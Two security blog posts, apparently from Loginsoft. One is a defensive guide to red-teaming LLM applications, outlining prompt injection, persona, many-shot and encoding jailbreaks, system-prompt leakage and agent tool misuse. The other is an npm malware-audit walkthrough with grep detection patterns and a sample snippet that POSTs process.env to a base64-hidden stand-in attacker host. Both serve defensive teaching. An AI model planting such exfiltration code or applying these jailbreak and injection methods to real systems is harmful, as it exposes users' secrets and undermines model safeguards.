DEV Community: Loginsoft

LLM Red Teaming: How to Test Your AI for Prompt Injection, Jailbreaks, and Data Leakage

Loginsoft — Fri, 28 Aug 2026 04:29:29 +0000

Every security team knows how to test a web application. Scan the code, fuzz the inputs, check the auth flows. That playbook is decades old. “LLMs fundamentally change the security testing model.”

When your product is powered by a large language model, the attack surface extends far beyond the codebase. It is a probabilistic system responding to unbounded natural language, connected to tools and APIs, and manipulable through the very content it is designed to process. Traditional scanners do not find these vulnerabilities. And the failure modes, leaking a system prompt, executing injected instructions from a malicious document, bypassing safety alignment on demand, are not typically represented as conventional CVE entries.

This is why LLM red teaming, a specialized form of LLM security testing, exists. For cybersecurity teams, security engineers, and AI/platform engineers shipping AI-powered products, understanding it is no longer optional.

What Is LLM Red Teaming?

LLM red teaming is the structured practice of testing LLM-powered systems with adversarial inputs to identify security vulnerabilities, safety failures, and policy violations before and after production deployment.

LLM security testing accounts for the probabilistic nature of model behavior. A jailbreak may succeed in some runs and fail in others, making repeated testing essential. Track Attack Success Rate (ASR) rather than relying on a single pass/fail result.

ASR = Successful attack outcomes ÷ Total attempts

For example, if a jailbreak succeeds in 37 of 100 attempts, its ASR is 37%. Security teams can compare ASR across attack types, mitigations, and model versions. However, ASR measures exploitability, not business impact, so findings should also be prioritized by severity and potential impact.

LLM red teaming can be organized around four practical testing areas:

Alignment layer: Tests jailbreaks, persona injection, and many-shot manipulation that attempt to bypass safety controls.

Instruction-following layer: Tests prompt injection and other attacks that attempt to override intended instructions.

Inference boundary: Tests indirect prompt injection through RAG content and tool-call manipulation in agentic systems.

Context and representation: Tests long-context behavior, tokenization of edge cases, encoding, and obfuscation techniques.

Evaluation can combine deterministic checks, automated evaluators, human review, or secondary LLM judges, each of which can introduce false positives or false negatives. OWASP GenAI LLM Top 10 and MITRE ATLAS provide useful taxonomies for organizing and evaluating these attacks.

How LLM Red Teaming Differs from Traditional Penetration Testing

Traditional penetration testing often targets deterministic application behavior: a SQL injection either exposes unauthorized data, or it does not. LLM red teaming is different because model behavior is probabilistic and depends on training, alignment, and context. The same attack may succeed in one run and fail in another, requiring continuous and statistical evaluation rather than point-in-time testing.

Common LLM Attack Vectors

1. Prompt Injection

Prompt injection uses crafted inputs to manipulate an LLM into deviating from its intended instructions or following attacker-controlled instructions embedded in content it processes.

Direct prompt injection targets user inputs, while indirect prompt injection places malicious instructions in external content such as documents, emails, web pages, or database records. This makes indirect injection a key security concern for RAG applications and agentic AI systems.

MITRE ATLAS tracks prompt injection as LLM Prompt Injection (AML.T0051), including indirect injection techniques.

2. Jailbreaks

Jailbreaks attempt to bypass an LLM's safety controls and produce content the model is designed to refuse. Common approaches include:

Persona attacks: Attempt to make the model adopt an unrestricted identity.

Many-shot attacks: Use large numbers of fabricated examples to influence model behavior.

Encoding and obfuscation: Use Base64, Unicode, character substitution, or multilingual transformations to evade filters.

Jailbreak effectiveness varies across models and defensive architectures, making repeated testing important.

3. Data Leakage

LLM data leakage testing evaluates whether a model exposes information it should not be revealed. Key categories include:

System prompt disclosure: Extraction of hidden instructions, policies, or tool definitions.

Context and RAG leakage: Exposure of retrieved documents, session data, or another protected context.

Training-data extraction: Attempts to reproduce memorized information from training or fine-tuning data.

These risks should be evaluated separately because their security impact and appropriate mitigations differ.

4. Agent and API Misuse

When an LLM can access tools, APIs, files, or external systems, successful attacks can result in actions beyond text generation, including unauthorized data access, API calls, email transmission, or file deletion.

Security testing should therefore monitor tool identity, caller identity, parameters, authorization status, data destinations, action reversibility, and results.

Defenses for LLM Applications

Effective LLM security requires multiple layers of protection. A system prompt is not a security boundary; application and infrastructure controls must enforce security independently.

Key defenses include:

Separate trusted and untrusted content: Treat retrieved documents and external content as untrusted data, not executable instructions.
Apply least privilege: Give AI agents only the tools and permissions required for their tasks.
Validate tool arguments independently: Enforce authorization and parameter validation at the application layer before tool execution.
Validate model outputs: Treat LLM-generated output as untrusted and validate it before passing it to APIs, databases, shells, or other interpreters.
Run statistical security tests in CI: Execute LLM red-team probes repeatedly, track Attack Success Rate (ASR) by attack category, and rerun tests whenever the model, prompts, retrieval pipeline, or tool integrations change.

This approach turns LLM red teaming from a pre-production security check into continuous AI security testing throughout the development lifecycle.

Securing RAG Pipelines

RAG security requires additional controls because retrieved content may contain attacker-controlled instructions that attempt to influence model behavior. Key practices include:

Treat retrieved documents as untrusted content and keep them separate from system instructions.
Enforce authorization at the data-access layer, before retrieval, rather than relying on the LLM.
Never allow retrieved content to directly define tool parameters.
Log the complete retrieval-to-tool-call chain for auditing.
Continuously test RAG pipelines with malicious documents and adversarial inputs.

Building an LLM Red Teaming Program

A structured LLM red teaming program can follow six steps:

Define assets: Identify system prompts, secrets, PII, retrieval data, API credentials, tools, and high-impact actions.

Define attack categories: Map the application to OWASP LLM Top 10 and MITRE ATLAS, prioritizing indirect injection and tool misuse for agentic systems.

Build a probe corpus: Use datasets such as AdvBench, HarmBench, and JailbreakBench, supplemented with application-specific probes.

Run statistical trials: Execute probes repeatedly and measure Attack Success Rate (ASR) instead of relying on single-run results.

Evaluate impact: Prioritize findings based on data disclosure, unauthorized actions, privilege escalation, and other business impacts.

Remediate and regression test: Update controls, permissions, prompts, and filters, then rerun the probe suite to verify fixes and detect regressions.

LLM Red Teaming Tools

Garak: Automated probing for prompt injection, jailbreaks, and data leakage.

Microsoft PyRIT: Multi-turn adversarial testing and orchestrated attack strategies for enterprise red team programs.

Promptfoo: LLM regression testing with CI/CD integration and LLM-as-judge evaluation.

Conclusion:

LLM red teaming extends traditional application security into probabilistic, language-driven systems, helping identify risks such as prompt injection, jailbreaks, data leakage, and unauthorized tool actions. By combining systematic adversarial testing, layered defenses, and continuous evaluation, organizations can make red teaming part of the broader AI security lifecycle. Loginsoft’s AI Model Validation service supports LLM-powered applications through adversarial testing, safety benchmarking, agentic system security reviews, and continuous red team automation.

Frequently Asked Questions

How is it different from penetration testing?

Traditional pen testing targets deterministic code paths with a clear pass/fail. LLM red teaming targets probabilistic model behavior, so findings are tracked as an Attack Success Rate across many runs, not a single result.

What are the most common attacks?

Direct and indirect prompt injection, jailbreaks (persona attacks, many-shot, encoding), data leakage (system prompt, context/RAG, training data), and agent or API misuse.

How do you test for prompt injection?

Run both direct probes against the user input channel and indirect probes via documents, web pages, or other retrieved content the model processes, then assess whether protected content was disclosed or unauthorized actions occurred, rather than relying only on keyword matches.

What tools support LLM red teaming?

Garak, Microsoft PyRIT, and Promptfoo are widely used options; see the comparison above.

How to Audit a npm Package for Malware in 10 Minutes

Loginsoft — Tue, 18 Aug 2026 12:13:18 +0000

You are about to run npm install some-package and hand a stranger's code full access to your machine, your environment variables, and your CI pipeline. Last year alone, hundreds of malicious packages were caught on npm, many of them typosquats of popular libraries that stole credentials the moment they were installed.

This is a 10-minute manual audit workflow for any npm package you do not fully trust. It is written for JavaScript and Node.js developers, DevOps engineers, and anyone reviewing dependencies in a security-sensitive codebase. No paid tools required, just your terminal.

Set a timer. Let's go.

Minute 0 to 1: Never install first. Inspect the metadata.

The most important rule: do not install the package to inspect it. Malicious code usually runs at install time, not at import time. Start with metadata:

bash 

npm view lodash-utilz 

Look at four things in the output: 

lodash-utilz@1.0.3 | MIT | deps: 2 | versions: 3 

dist-tags: 
latest: 1.0.3 

published 2 days ago by newdev4821 newdev4821@protonmail.com

Red flags to catch here:

Very young package or very few versions. A "utility" library with 3 versions published in the last week is suspicious.

Name that looks almost like a popular package. lodash-utilz, reakt-dom, crossenv. Typosquatting is the number one delivery method.

Maintainer mismatch. A brand new email publishing a package that claims to belong to a known project.

Sudden maintainer change on an old package. Check with npm view maintainers and compare against the GitHub repo.

Minute 1 to 3: Check the install scripts

This is where most npm malware lives. Lifecycle scripts like preinstall, install, and postinstall execute arbitrary shell commands on your machine automatically during npm install.

Pull the manifest straight from the registry:

bash 

npm view lodash-utilz --json | node -e " 
const pkg = JSON.parse(require('fs').readFileSync(0, 'utf8')); 
console.log(JSON.stringify(pkg.scripts, null, 2)); 
" 

A malicious result looks like this:

json 

{ 
  "postinstall": "node ./lib/setup.js" 
}

An innocent-looking setup.js reference is exactly how credential stealers hide. Legitimate packages that genuinely need install scripts (native builds like node-gyp, binary downloads like esbuild) are well known. A random utility library has no reason to run anything at install time.

Quick heuristic: any post install script in a small, unknown package is guilty until proven innocent.

Minute 3 to 5: Download the tarball without installing

npm pack downloads exactly what the registry serves, with zero script execution:

bash 

mkdir /tmp/audit && cd /tmp/audit 
npm pack lodash-utilz 
tar -xzf lodash-utilz-1.0.3.tgz 
cd package 
ls -laR

Why this matters: the code on GitHub and the code on npm are not guaranteed to match. Attackers routinely publish a clean repo and a poisoned tarball. Always audit the tarball, never the repo.

While you are here, check for files that should not exist: .env, unexplained .node binaries, minified blobs in a package that claims to ship readable sources.

Minute 5 to 8: Grep for the classic malware patterns

You now have the real shipped code on disk. Run this pattern sweep:

bash 

grep -rn --include="*.js" -E \ 
  "eval\(|Function\(|child_process|\.exec\(|spawn\(" . 

grep -rn --include="*.js" -E \ 
  "process\.env|\.npmrc|\.ssh|\.aws|hosts" . 

grep -rn --include="*.js" -E \ 
  "http\.request|https\.request|fetch\(|XMLHttpRequest|dns\.resolve" . 

grep -rn --include="*.js" -E \ 
  "base64|fromCharCode|\\\\x[0-9a-f]{2}".

What each sweep catches:

Dynamic execution: eval, new Function, child_process. A string-manipulation library has no business spawning shells.

Sensitive reads: code touching process.env, .npmrc (your npm token lives there), .ssh, or .aws directories.

Network exfiltration: outbound requests to hardcoded IPs or unfamiliar domains. Ask yourself: why does this package phone home at all?

Obfuscation: long base64 strings, String.fromCharCode chains, hex-escaped strings. Legitimate open source has no reason to hide its logic.

Real-world example of what you might find:

js 

// lib/setup.js 
const h = Buffer.from('aHR0cHM6Ly9ldmlsLmV4YW1wbGUvYw==', 'base64').toString(); 
require('https').request(h, { method: 'POST' }) 
  .end(JSON.stringify(process.env));

That is your entire environment, including CI secrets and npm tokens, POSTed to an attacker. Two lines. This is why the grep sweep takes priority over reading every file.

Minute 8 to 9: Diff the dependency tree

Malware also arrives transitively. Before adding the package, preview what it drags in:

bash 

npm install lodash-utilz --dry-run 

Then check the tree for anything unexpected: 

bash 

npm view lodash-utilz dependencies

A tiny helper library pulling in 40 transitive dependencies, or depending on another unknown week-old package, deserves a hard pass.

Minute 9 to 10: Run the automated second opinion

Finish with tooling that checks the package against known-bad databases:

bash

Checks against the OSV and GitHub advisory databases
npx osv-scanner --lockfile package-lock.json

Interactive pre-install gate: audits BEFORE installing
npx npq install lodash-utilz

For ongoing protection, wire one of these into CI so every pull request that touches package.json gets the same scrutiny automatically. Socket, OSV-Scanner, and npm audit signatures (which verifies registry provenance) all run cleanly in GitHub Actions.

The 10-minute checklist

Copy this into your team wiki:

[ ] npm view: age, versions, maintainer, name typos
[ ] Manifest: any preinstall/install/postinstall scripts?
[ ] npm pack: audit the tarball, not the GitHub repo
[ ] Grep sweep: eval, child_process, env reads, network, base64
[ ] Dependency tree: --dry-run before real install
[ ] Automated scan: osv-scanner or npq as second opinion

Ten minutes of friction versus a leaked AWS key and a rotated-credentials fire drill. Easy trade.

What's next

This manual workflow catches the common 90 percent. Supply chain attacks like dependency confusion, compromised maintainer accounts, and build-pipeline injection need deeper coverage: registry provenance verification, lockfile pinning policy, and continuous monitoring of your full dependency graph.

What is your team's process for vetting new dependencies? Drop it in the comments, genuinely curious what gates other teams use.